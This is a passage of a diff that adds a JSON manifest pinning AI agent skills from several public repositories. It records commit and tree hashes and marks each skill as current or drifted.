"9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "bitbucket-cloud", + "source": "OpenHands/extensions", + "path": "skills/bitbucket-cloud", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "a54aed17547b26848f508043b2ea24e14339d77a", + "head_tree": "a54aed17547b26848f508043b2ea24e14339d77a", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "bitbucket-data-center", + "source": "OpenHands/extensions", + "path": "skills/bitbucket-data-center", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "6c5d58d993ee9e27e5d5c8db0b51c225535d16f5", + "head_tree": "6c5d58d993ee9e27e5d5c8db0b51c225535d16f5", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "brainstorming", + "source": "obra/superpowers", + "path": "skills/brainstorming", + "status": "trial", + "pinned_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "head_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "pinned_tree": "03d4c6657cd20ba0fce9d270fc688150bd191c3b", + "head_tree": "03d4c6657cd20ba0fce9d270fc688150bd191c3b", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "native_check_advances_commit_pin": false + }, + { + "name": "build-setup", + "source": "OpenHands/extensions", + "path": "plugins/cobol-modernization/skills/build-setup", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "a20c5d119b1b4ba8a0391c9276196b2d0faaad0a", + "head_tree": "a20c5d119b1b4ba8a0391c9276196b2d0faaad0a", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "canvas-extension-api", + "source": "OpenHands/extensions", + "path": "skills/canvas-extension-api", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "d801371678229dcbb20d642ec95c5a74fce4ef83", + "head_tree": "e57c058a5fd1790769a30bd09691bf306826fea7", + "manifest_tree_matches_pin": true, + "state": "skill-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "cobol-modernization", + "source": "OpenHands/extensions", + "path": "plugins/cobol-modernization/skills/cobol-modernization", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "d86574828d9f3e5aea2b7066105eb44d9e97715c", + "head_tree": "d86574828d9f3e5aea2b7066105eb44d9e97715c", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "code-review", + "source": "OpenHands/extensions", + "path": "skills/code-review", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "bd04e3765993619aae24ccabbd84b94121464334", + "head_tree": "bd04e3765993619aae24ccabbd84b94121464334", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "code-simplifier", + "source": "OpenHands/extensions", + "path": "skills/code-simplifier", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "6da51b9d5dee02ec26954c3961cb64bc21b69215", + "head_tree": "6da51b9d5dee02ec26954c3961cb64bc21b69215", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "codebase-design", + "source": "mattpocock/skills", + "path": "skills/engineering/codebase-design", + "status": "trial", + "pinned_ref": "c55ee46073ed923f86ce59a5eb3b6d895095d1b7", + "head_ref": "d81f3a183412e71a5b1e84ca21bc1a35eea03a60", + "pinned_tree": "344e3efc88ee60663b2e989555c2efdb548fbd42", + "head_tree": "07ba1cd60efc12d0d3a083005c1d9651cf15e39a", + "manifest_tree_matches_pin": true, + "state": "skill-drift", + "native_check_ref": "c55ee46073ed923f86ce59a5eb3b6d895095d1b7", + "native_check_advances_commit_pin": false + }, + { + "name": "codeql", + "source": "trailofbits/skills", + "path": "plugins/static-analysis/skills/codeql", + "status": "trial", + "pinned_ref": "0cc1c73a5e96749ab32d7ea5e14892fafa6972ae", + "head_ref": "82fe8226252622fa807643bdca1710901198553a", + "pinned_tree": "1490253d767cc2c5e48f1245a681ee59cc52eb4f", + "head_tree": "1490253d767cc2c5e48f1245a681ee59cc52eb4f", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "0cc1c73a5e96749ab32d7ea5e14892fafa6972ae", + "native_check_advances_commit_pin": false + }, + { + "name": "datadog", + "source": "OpenHands/extensions", + "path": "skills/datadog", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "9fcb3bd5ed49971a98224e69d9d7d92fa49d7727", + "head_tree": "9fcb3bd5ed49971a98224e69d9d7d92fa49d7727", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "deno", + "source": "OpenHands/extensions", + "path": "skills/deno", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "521248e905142109eedf85ed8b05d12d7f95c099", + "head_tree": "521248e905142109eedf85ed8b05d12d7f95c099", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "diagnosing-bugs", + "source": "mattpocock/skills", + "path": "skills/engineering/diagnosing-bugs", + "status": "trial", + "pinned_ref": "c55ee46073ed923f86ce59a5eb3b6d895095d1b7", + "head_ref": "d81f3a183412e71a5b1e84ca21bc1a35eea03a60", + "pinned_tree": "99bd56983e42bc752c52da67f1112e4121781cd1", + "head_tree": "de4236cf34757c4e9ea7afe78d46c023213ff254", + "manifest_tree_matches_pin": true, + "state": "skill-drift", + "native_check_ref": "c55ee46073ed923f86ce59a5eb3b6d895095d1b7", + "native_check_advances_commit_pin": false + }, + { + "name": "diagnosing-superpowers", + "source": "obra/superpowers", + "path": "skills/diagnosing-superpowers", + "status": "trial", + "pinned_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "head_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "pinned_tree": "9a975225f7a42de50cd2d43483701b6348f99fd5", + "head_tree": "9a975225f7a42de50cd2d43483701b6348f99fd5", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "native_check_advances_commit_pin": false + }, + { + "name": "discord", + "source": "OpenHands/extensions", + "path": "skills/discord", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "0759b6e8fa2e5910a180d499939128f2baa108a3", + "head_tree": "0759b6e8fa2e5910a180d499939128f2baa108a3", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "dispatching-parallel-agents", + "source": "obra/superpowers", + "path": "skills/dispatching-parallel-agents", + "status": "trial", + "pinned_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "head_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "pinned_tree": "15697cb0726c26a66bff737494e8b5266667ba0c", + "head_tree": "15697cb0726c26a66bff737494e8b5266667ba0c", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "native_check_advances_commit_pin": false + }, + { + "name": "doc-coauthoring", + "source": "anthropics/skills", + "path": "skills/doc-coauthoring", + "status": "trial", + "pinned_ref": "33375500bcea98d610eb30ce10ac4e59b89c390d", + "head_ref": "8a1541c4a3ffa5a20a5a91de0dcf3f0bab1d1ef4", + "pinned_tree": "d9df960e61fe2bafe9183e37de6f9f6b73b74087", + "head_tree": "d9df960e61fe2bafe9183e37de6f9f6b73b74087", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "33375500bcea98d610eb30ce10ac4e59b89c390d", + "native_check_advances_commit_pin": false + }, + { + "name": "docker", + "source": "OpenHands/extensions", + "path": "skills/docker", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "7e742029273a6cd801c5fd1610bc052e467479b4", + "head_tree": "7e742029273a6cd801c5fd1610bc052e467479b4", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "docx", + "source": "anthropics/skills", + "path": "skills/docx", + "status": "trial", + "pinned_ref": "33375500bcea98d610eb30ce10ac4e59b89c390d", + "head_ref": "8a1541c4a3ffa5a20a5a91de0dcf3f0bab1d1ef4", + "pinned_tree": "6e6f5b95c1de6e803cc07b214f5059b074d64e0c", + "head_tree": "6e6f5b95c1de6e803cc07b214f5059b074d64e0c", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "33375500bcea98d610eb30ce10ac4e59b89c390d", + "native_check_advances_commit_pin": false + }, + { + "name": "domain-modeling", + "source": "mattpocock/skills", + "path": "skills/engineering/domain-modeling", + "status": "trial", + "pinned_ref": "c55ee46073ed923f86ce59a5eb3b6d895095d1b7", + "head_ref": "d81f3a183412e71a5b1e84ca21bc1a35eea03a60", + "pinned_tree": "388c9822641805ca2dcd5038e68a1d5282437ee5", + "head_tree": "ea30ee454ba264543dbe40737973b1a5afb9f0e6", + "manifest_tree_matches_pin": true, + "state": "skill-drift", + "native_check_ref": "c55ee46073ed923f86ce59a5eb3b6d895095d1b7", + "native_check_advances_commit_pin": false + }, + { + "name": "evidence-based-citations", + "source": "OpenHands/extensions", + "path": "skills/evidence-based-citations", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "8b146bdfaa2c21074edf3f3f89e6c322d79d0a56", + "head_tree": "8b146bdfaa2c21074edf3f3f89e6c322d79d0a56", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "executing-plans", + "source": "obra/superpowers", + "path": "skills/executing-plans", + "status": "trial", + "pinned_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "head_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "pinned_tree": "899ffeab92be3de6cd9ed0078b32737b18b8c135", + "head_tree": "899ffeab92be3de6cd9ed0078b32737b18b8c135", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "native_check_advances_commit_pin": false + }, + { + "name": "find-skills", + "source": "vercel-labs/skills", + "path": "skills/find-skills", + "status": "trial", + "pinned_ref": "7407f3893ad4dceab546ac002c3ef806e4000c73", + "head_ref": "3694740352eeef5cdd689af694c485f1ff62eec3", + "pinned_tree": "76a98a285cb0434f3d39e1a873823556330e398b", + "head_tree": "76a98a285cb0434f3d39e1a873823556330e398b", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "7407f3893ad4dceab546ac002c3ef806e4000c73", + "native_check_advances_commit_pin": false + }, + { + "name": "finishing-a-development-branch", + "source": "obra/superpowers", + "path": "skills/finishing-a-development-branch", + "status": "trial", + "pinned_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "head_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "pinned_tree": "3b1205aa5038c71946077dd63b9e71b447729e70", + "head_tree": "3b1205aa5038c71946077dd63b9e71b447729e70", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "native_check_advances_commit_pin": false + }, + { + "name": "fp-check", + "source": "trailofbits/skills", + "path": "plugins/fp-check/skills/fp-check", + "status": "trial", + "pinned_ref": "0cc1c73a5e96749ab32d7ea5e14892fafa6972ae", + "head_ref": "82fe8226252622fa807643bdca1710901198553a", + "pinned_tree": "f3f830417667dc3a202b1cb40948bc26ce26ddbf", + "head_tree": "f3f830417667dc3a202b1cb40948bc26ce26ddbf", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "0cc1c73a5e96749ab32d7ea5e14892fafa6972ae", + "native_check_advances_commit_pin": false + }, + { + "name": "frontend-design", + "source": "anthropics/skills", + "path": "skills/frontend-design", + "status": "trial", + "pinned_ref": "33375500bcea98d610eb30ce10ac4e59b89c390d", + "head_ref": "8a1541c4a3ffa5a20a5a91de0dcf3f0bab1d1ef4", + "pinned_tree": "d79e2a5bb4df4a386c2adcdd9ab8709bba28c3f6", + "head_tree": "d79e2a5bb4df4a386c2adcdd9ab8709bba28c3f6", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "33375500bcea98d610eb30ce10ac4e59b89c390d", + "native_check_advances_commit_pin": false + }, + { + "name": "gh-address-comments", + "source": "openai/skills", + "path": "skills/.curated/gh-address-comments", + "status": "trial", + "pinned_ref": "49f948faa9258a0c61caceaf225e179651397431", + "head_ref": "49f948faa9258a0c61caceaf225e179651397431", + "pinned_tree": "042316bece4a9f832145dcff7d5506e99fe3ecf1", + "head_tree": "042316bece4a9f832145dcff7d5506e99fe3ecf1", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "49f948faa9258a0c61caceaf225e179651397431", + "native_check_advances_commit_pin": false + }, + { + "name": "gh-fix-ci", + "source": "openai/skills", + "path": "skills/.curated/gh-fix-ci", + "status": "trial", + "pinned_ref": "49f948faa9258a0c61caceaf225e179651397431", + "head_ref": "49f948faa9258a0c61caceaf225e179651397431", + "pinned_tree": "3f99938c9464393f27cc4cc00e4ba17387517803", + "head_tree": "3f99938c9464393f27cc4cc00e4ba17387517803", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "49f948faa9258a0c61caceaf225e179651397431", + "native_check_advances_commit_pin": false + }, + { + "name": "github", + "source": "OpenHands/extensions", + "path": "skills/github", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "02cea5f01bd171145824a074ee680881fcfdc08f", + "head_tree": "53cc65403e8a95b5fce83db28ca1f51e663b0bdc", + "manifest_tree_matches_pin": true, + "state": "skill-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "github-actions", + "source": "OpenHands/extensions", + "path": "skills/github-actions", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "1c2cde4572e3fdf3c3196846dba86a4ebd456121", + "head_tree": "1c2cde4572e3fdf3c3196846dba86a4ebd456121", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "github-agents-md-maintainer", + "source": "OpenHands/extensions", + "path": "skills/github-agents-md-maintainer", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "6eeab0e65e71aeeaf21e69d3583c4aab8adf45ce", + "head_tree": "6eeab0e65e71aeeaf21e69d3583c4aab8adf45ce", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "github-delivery-watchdog", + "source": "OpenHands/extensions", + "path": "skills/github-delivery-watchdog", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "c90ad6ae786552737e7ab2a011310627c5f0acae", + "head_tree": "c90ad6ae786552737e7ab2a011310627c5f0acae", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "github-issue-to-pr", + "source": "OpenHands/extensions", + "path": "skills/github-issue-to-pr", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "a8d0921bfb255e12d6f97754c54d79ac72d9b83d", + "head_tree": "a8d0921bfb255e12d6f97754c54d79ac72d9b83d", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "github-issue-triage", + "source": "OpenHands/extensions", + "path": "skills/github-issue-triage", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "9df1430bf1402390fa7070105b589a87861254ed", + "head_tree": "9df1430bf1402390fa7070105b589a87861254ed", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "github-pr-review", + "source": "OpenHands/extensions", + "path": "skills/github-pr-review", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "f4e742826b7154635c79820a1cb015906b260a6d", + "head_tree": "f4e742826b7154635c79820a1cb015906b260a6d", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "github-pr-reviewer", + "source": "OpenHands/extensions", + "path": "skills/github-pr-reviewer", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "1f4525915d9d62128ef99f6d646ea02984c4c4d4", + "head_tree": "7607c02c2b3bd9a926e8ed0747d3a692c603f1f4", + "manifest_tree_matches_pin": true, + "state": "skill-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "github-repo-monitor", + "source": "OpenHands/extensions", + "path": "skills/github-repo-monitor", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "e779e4edf79c281f7c9a35cf586eb6084b5046db", + "head_tree": "e779e4edf79c281f7c9a35cf586eb6084b5046db", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "github-stale-ci-pr-closer", + "source": "OpenHands/extensions", + "path": "skills/github-stale-ci-pr-closer", + "status": "trial", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "0c4596fbf016454fb1b78e1b79f826ade2a26249", + "head_tree": "d05257b69a2863aed7346f6c2e5415b031ab9247", + "manifest_tree_matches_pin": true, + "state": "skill-drift", + "native_check_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "native_check_advances_commit_pin": false + }, + { + "name": "gitlab", + "source": "OpenHands/extensions", + "path": "skills/gitlab", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "29879a030a0dd27de75c2674a242492c9d90a5a6", + "head_tree": "29879a030a0dd27de75c2674a242492c9d90a5a6", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "gitlab-issue-to-mr", + "source": "OpenHands/extensions", + "path": "skills/gitlab-issue-to-mr", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "42357f9cfc48574ac142cec1f488ed6bb06ce4db", + "head_tree": "42357f9cfc48574ac142cec1f488ed6bb06ce4db", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "gpt-researcher", + "source": "assafelovic/gpt-researcher", + "path": "skills/gpt-researcher", + "status": "trial", + "pinned_ref": "0957c301ed06c2a5857b834358c7227c739041d4", + "head_ref": "0957c301ed06c2a5857b834358c7227c739041d4", + "pinned_tree": "0de06325b127246093bf5addc15cdf8ae51d1feb", + "head_tree": "0de06325b127246093bf5addc15cdf8ae51d1feb", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "0957c301ed06c2a5857b834358c7227c739041d4", + "native_check_advances_commit_pin": false + }, + { + "name": "grill-me", + "source": "mattpocock/skills", + "path": "skills/productivity/grill-me", + "status": "trial", + "pinned_ref": "c55ee46073ed923f86ce59a5eb3b6d895095d1b7", + "head_ref": "d81f3a183412e71a5b1e84ca21bc1a35eea03a60", + "pinned_tree": "3df14e2d3a89459bf300614be9247e3ce74798f8", + "head_tree": "3df14e2d3a89459bf300614be9247e3ce74798f8", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "c55ee46073ed923f86ce59a5eb3b6d895095d1b7", + "native_check_advances_commit_pin": false + }, + { + "name": "handoff", + "source": "mattpocock/skills", + "path": "skills/productivity/handoff", + "status": "trial", + "pinned_ref": "c55ee46073ed923f86ce59a5eb3b6d895095d1b7", + "head_ref": "d81f3a183412e71a5b1e84ca21bc1a35eea03a60", + "pinned_tree": "2242e8f05424b8c2ae94194a90d97b88d16108ec", + "head_tree": "2242e8f05424b8c2ae94194a90d97b88d16108ec", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "c55ee46073ed923f86ce59a5eb3b6d895095d1b7", + "native_check_advances_commit_pin": false + }, + { + "name": "improve-agent-readiness", + "source": "OpenHands/extensions", + "path": "plugins/onboarding/skills/improve-agent-readiness", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "6b8dcd8f430d8faefbee3cc3bcc4450dea68f65f", + "head_tree": "6b8dcd8f430d8faefbee3cc3bcc4450dea68f65f", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "improve-codebase-architecture", + "source": "mattpocock/skills", + "path": "skills/engineering/improve-codebase-architecture", + "status": "trial", + "pinned_ref": "c55ee46073ed923f86ce59a5eb3b6d895095d1b7", + "head_ref": "d81f3a183412e71a5b1e84ca21bc1a35eea03a60", + "pinned_tree": "3d35cd438f4067b03c8b3792e038960e4ac11526", + "head_tree": "39bd9cc130f7dfcc4e3ea0b3613f6ebed0d0ad2b", + "manifest_tree_matches_pin": true, + "state": "skill-drift", + "native_check_ref": "c55ee46073ed923f86ce59a5eb3b6d895095d1b7", + "native_check_advances_commit_pin": false + }, + { + "name": "incident-retrospective", + "source": "OpenHands/extensions", + "path": "skills/incident-retrospective", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "f12d464f1cdc9584f5fe9677f2c75119226a09c5", + "head_tree": "f12d464f1cdc9584f5fe9677f2c75119226a09c5", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "iterate", + "source": "OpenHands/extensions", + "path": "skills/iterate", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "7152a93b2b9f725f52c5252d988819fe0030661a", + "head_tree": "7152a93b2b9f725f52c5252d988819fe0030661a", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "iterative-retrieval", + "source": "affaan-m/ECC", + "path": "skills/iterative-retrieval", + "status": "trial", + "pinned_ref": "2b6e839771e53096d8451a213d40dc64ec8acac0", + "head_ref": "c70874fae9eb0e5ad0365beb7e2955899fd1d30f", + "pinned_tree": "1f1e8d67cf41d72acf2315dc7e6edeac0fc231a6", + "head_tree": "1f1e8d67cf41d72acf2315dc7e6edeac0fc231a6", + "manifest_tree_matches_pin": true, + "state": "repository-drift", + "native_check_ref": "2b6e839771e53096d8451a213d40dc64ec8acac0", + "native_check_advances_commit_pin": false + }, + { + "name": "jira-issue-to-pr", + "source": "OpenHands/extensions", + "path": "skills/jira-issue-to-pr", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "e216374c7bc95f6705707e11a1cc65dda9267964", + "head_tree": "e216374c7bc95f6705707e11a1cc65dda9267964", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "jupyter", + "source": "OpenHands/extensions", + "path": "skills/jupyter", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "ae3ccf3f0bc3ec470f740d9cebed4dfb1b1628b8", + "head_tree": "ae3ccf3f0bc3ec470f740d9cebed4dfb1b1628b8", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "jupyter-notebook", + "source": "openai/skills", + "path": "skills/.curated/jupyter-notebook", + "status": "trial", + "pinned_ref": "49f948faa9258a0c61caceaf225e179651397431", + "head_ref": "49f948faa9258a0c61caceaf225e179651397431", + "pinned_tree": "ed23a98404260af659ef6bae9cb734bcfb0ca6c2", + "head_tree": "ed23a98404260af659ef6bae9cb734bcfb0ca6c2", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "49f948faa9258a0c61caceaf225e179651397431", + "native_check_advances_commit_pin": false + }, + { + "name": "kubernetes", + "source": "OpenHands/extensions", + "path": "skills/kubernetes", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "68d887ccaf357723985bae1130706a7145e4d38d", + "head_tree": "68d887ccaf357723985bae1130706a7145e4d38d", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "learn-from-code-review", + "source": "OpenHands/extensions", + "path": "skills/learn-from-code-review", + "status": "trial", + "pinned_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "pinned_tree": "28da28ac893f281737349c3867b5640ae348b0b4", + "head_tree": "28da28ac893f281737349c3867b5640ae348b0b4", + "manifest_tree_matches_pin": true, + "state": "current", + "native_check_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "native_check_advances_commit_pin": false + }, + { + "name": "linear", + "source": 